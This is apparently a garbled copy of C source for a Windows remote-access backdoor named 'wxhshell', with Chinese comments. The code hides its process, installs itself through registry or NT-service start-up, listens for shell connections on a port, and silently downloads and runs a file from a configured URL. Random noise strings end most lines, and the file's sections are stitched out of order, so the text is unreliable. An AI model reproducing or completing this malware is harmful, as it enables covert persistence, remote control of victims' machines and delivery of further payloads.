ULONG UniqueProcessId; 2$yNryd
ULONG InheritedFromUniqueProcessId; LCemM; o
} PROCESS_BASIC_INFORMATION; L-Pq/x2r
t'bhA20Z\
PROCNTQSIP NtQueryInformationProcess; Hus.Jfam
Pbl#ieZM
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )&.Zxo;q=
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;a~
e
}6 MoC0
HANDLE hProcess; wp>L}!
PROCESS_BASIC_INFORMATION pbi; \~I>@SG2W+
zIbrw9G
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h~u|v[@{J
if(NULL == hInst ) return 0; vW`[CEm^X
+E
}q0GV
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $3^Cp_p6
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MW|:'D`
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D Ax1
|sPUb;&~
if (!NtQueryInformationProcess) return 0; v1\/ dQK
J42/S [Rt
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `z<I<
if(!hProcess) return 0; kuW^_BROJ
IOOK[g.?h
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T8>aU
F%G} >xn
CloseHandle(hProcess); v8
pOA<s
I"2*}v|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I@:"Qee
if(hProcess==NULL) return 0; -$cO0RSY
5O"$'iL
HMODULE hMod; w7QYWf'
char procName[255]; o!W(
unsigned long cbNeeded; oR'u&\mB
^BhS*
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }sW%i#CV
ibh,d.*~g
CloseHandle(hProcess); ]Yk)A.y
;]^% 6B n
if(strstr(procName,"services")) return 1; // 以服务启动 dnCurWjdk
.g!K| c
return 0; // 注册表启动 *b\&R%6dR
} z2[{3Kd*
cSYMnB
// 主模块 5N:IH@
int StartWxhshell(LPSTR lpCmdLine)
aS,
{ "43F.!P
SOCKET wsl; N%!{n7`N:
BOOL val=TRUE; w
L4P-4'
int port=0; q0VR&b`?>D
struct sockaddr_in door; QfRo`l/V9
c[a^fu!
if(wscfg.ws_autoins) Install(); uFn?U)
/^=8?wK
port=atoi(lpCmdLine); t_jnp $1m
Ar'k6NX
if(port<=0) port=wscfg.ws_port; !uqp?L^;
J7+[+Y
WSADATA data; =TJ9Gr/R&:
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hr3<vWAD
MM(\>J[Uq
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 2&XNT-Qm
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Tb}op XYK
door.sin_family = AF_INET; Q AX3*%h
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ix+eP|8F
door.sin_port = htons(port); 0HN%3AG]
%{ory5
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }mpFo2
closesocket(wsl); BRXDE7vw
return 1; d:=Z<Y?d/
} 1H \
aATNeAR
if(listen(wsl,2) == INVALID_SOCKET) { C!)ZRuRv
closesocket(wsl); OxN[w|2\4
return 1; a]
7nK+N
} <."KejXg-
Wxhshell(wsl); /h9v'Y}c
WSACleanup(); 4))N(m%3F
C%H?vrR
return 0; afE)yu`
]Hg6Mz>Mj
} J;'H],w}f
7QRkXs
// 以NT服务方式启动 \&[(PNl
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LZ RP}|
{ K%1`LT5:~
DWORD status = 0; ehTv@2b
DWORD specificError = 0xfffffff; D!&]jkUN
F ESl#.}
serviceStatus.dwServiceType = SERVICE_WIN32; /h8100
serviceStatus.dwCurrentState = SERVICE_START_PENDING; r+;k(HMY}[
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h.q9p!
serviceStatus.dwWin32ExitCode = 0; Ko0?c.l
serviceStatus.dwServiceSpecificExitCode = 0; p}8?#5`/w
serviceStatus.dwCheckPoint = 0; 3Uej]}c
serviceStatus.dwWaitHint = 0; _{$<s[S
zwk&3
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O_L>We@3E
if (hServiceStatusHandle==0) return; <!F".9c@A
8*Ty`G&v
status = GetLastError(); AkCy
C1
if (status!=NO_ERROR) !,]2.:{0z
{ c#TV2@
serviceStatus.dwCurrentState = SERVICE_STOPPED; U9jdb9 |
serviceStatus.dwCheckPoint = 0; {.ypZ8JU
serviceStatus.dwWaitHint = 0; (__$YQ-
serviceStatus.dwWin32ExitCode = status; {vdY(
serviceStatus.dwServiceSpecificExitCode = specificError; u;+8Jg+xH/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZsSW{ffZ77
return; FmSE]et
} _qk
yU )z
ld3H"p rR
serviceStatus.dwCurrentState = SERVICE_RUNNING; EvH/d4V;
serviceStatus.dwCheckPoint = 0; Vh>|F}%E
serviceStatus.dwWaitHint = 0; u U%Z%O
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QseV\; z
} ZG-#YF.1
GL~
Wnt
// 处理NT服务事件,比如:启动、停止 -fp/3-
VOID WINAPI NTServiceHandler(DWORD fdwControl) o`G6!
{ -ijzo%&qA
switch(fdwControl) cbl>:ev1h
{ _D$1CaAYo
case SERVICE_CONTROL_STOP: +;4;~>Y
serviceStatus.dwWin32ExitCode = 0; QAAuFZs
serviceStatus.dwCurrentState = SERVICE_STOPPED; yzZzaYv "/
serviceStatus.dwCheckPoint = 0; ; tQ(l%!
serviceStatus.dwWaitHint = 0; ;YSe:m*
{ T}/|nOu
5
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @Ne&%F?^Z
} P+BGCc%);B
return; X&IT s
case SERVICE_CONTROL_PAUSE: LH.Gf
serviceStatus.dwCurrentState = SERVICE_PAUSED; m#[9F']Z`
break; #+i:s92],
case SERVICE_CONTROL_CONTINUE: RA?_j$
serviceStatus.dwCurrentState = SERVICE_RUNNING; 9MH;=88q
break; "U+c`V=w
case SERVICE_CONTROL_INTERROGATE: (<rE1w2s:
break; <v/aquLN
}; :,fT^izew
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zu2`IzrG#
} JY@bD:
vG7Mk8mIr
// 标准应用程序主函数 1rs.
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ay|jq"a
{ <B>hvuCoH
p3Ozfk
// 获取操作系统版本 -<9Qez)y
OsIsNt=GetOsVer(); {~w( pAx
GetModuleFileName(NULL,ExeFile,MAX_PATH); h(R7y@mp\0
V'tR
\b
// 从命令行安装 Zb2PFwcy
if(strpbrk(lpCmdLine,"iI")) Install(); Bex;!1
0U:X[2|)
// 下载执行文件 %|ClYr
if(wscfg.ws_downexe) { pL!,1D!
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <$K=3&:s8q
WinExec(wscfg.ws_filenam,SW_HIDE); !3iZa*
} IaQm)"Z
({@"{
if(!OsIsNt) { 5D2mZ/
// 如果时win9x,隐藏进程并且设置为注册表启动 q*5L",
HideProc(); 7VG*Wu
StartWxhshell(lpCmdLine); -agB ]j
} hW'b'x<
else v\CBw"
if(StartFromService()) A FBH(ms't
// 以服务方式启动 P3-O)m]jv
StartServiceCtrlDispatcher(DispatchTable); o.w/?
else SP/b4
// 普通方式启动 y10W\beJ
StartWxhshell(lpCmdLine); [PB73q8
IZm6.F
return 0; `"PHhCG+z
} &@'%0s9g
~ @*q8lC
l1|*(%p?X
q'a]DJ`
=========================================== cMF)2^w}
|d-x2M[
xQU//kNL
OI*ltba?
Ly3!0P.<
d}tmZ*q
" 4n@>gW
uD?RL~M
#include <stdio.h> \At~94
#include <string.h> .ahY 1CO
#include <windows.h> >N 2kWSa
#include <winsock2.h> ^;h\#S[%
#include <winsvc.h> :\'1x
#include <urlmon.h> 5z9hcQAS
p`rjWpH
#pragma comment (lib, "Ws2_32.lib") U,7
#pragma comment (lib, "urlmon.lib") jnbR}a=fJ
>~Gy+-
#define MAX_USER 100 // 最大客户端连接数 ;?@Rq"*
#define BUF_SOCK 200 // sock buffer 8(l0\R,%+z
#define KEY_BUFF 255 // 输入 buffer jA;b2A]G
ezbk@no
#define REBOOT 0 // 重启 -,YI>!
#define SHUTDOWN 1 // 关机 DBHHJD/q
QIU%!9Y
#define DEF_PORT 5000 // 监听端口 rqiH!R
rp
dv{CUp7
#define REG_LEN 16 // 注册表键长度 rPBsr<k#5
#define SVC_LEN 80 // NT服务名长度 );AtFP0Y
E2dS@!]V
// 从dll定义API lhJY]tQt/
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t#_6GL
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f4*(rX
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @(oY.PeS<z
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #<B?+gzFM{
H.]V-|U
// wxhshell配置信息 T^v o9~N*
struct WSCFG { E;4B!"Q8
int ws_port; // 监听端口 F.x7/;
char ws_passstr[REG_LEN]; // 口令 Rf8ZH
int ws_autoins; // 安装标记, 1=yes 0=no IKnf
char ws_regname[REG_LEN]; // 注册表键名 CQ<